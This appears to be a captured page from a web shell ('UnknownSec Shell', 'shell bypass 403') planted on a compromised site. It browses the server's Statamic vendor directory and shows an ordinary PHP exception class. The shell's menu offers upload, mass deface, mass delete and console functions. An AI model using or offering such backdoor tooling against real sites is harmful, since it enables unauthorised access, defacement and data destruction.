shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Modifiers
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
ModifierNotFoundException.php
<?php namespace Statamic\Modifiers; use Exception; use Spatie\Ignition\Contracts\BaseSolution; use Spatie\Ignition\Contracts\ProvidesSolution; use Spatie\Ignition\Contracts\Solution; use Spatie\LaravelIgnition\Support\StringComparator; use Statamic\Statamic; class ModifierNotFoundException extends Exception implements ProvidesSolution { protected $modifier; public function __construct($modifier) { parent::__construct("Modifier [{$modifier}] not found"); $this->modifier = $modifier; } public function getSolution(): Solution { $description = ($suggestedModifier = $this->getSuggestedModifier()) ? "Did you mean `$suggestedModifier`?" : 'Are you sure the modifier exists?'; return BaseSolution::create("The {$this->modifier} modifier was not found.") ->setSolutionDescription($description) ->setDocumentationLinks([ 'Read the modifiers guide' => Statamic::docsUrl('modifiers'), ]); } protected function getSuggestedModifier() { return StringComparator::findClosestMatch( app('statamic.modifiers')->keys()->all(), $this->modifier ); } }
© 2026 UnknownSec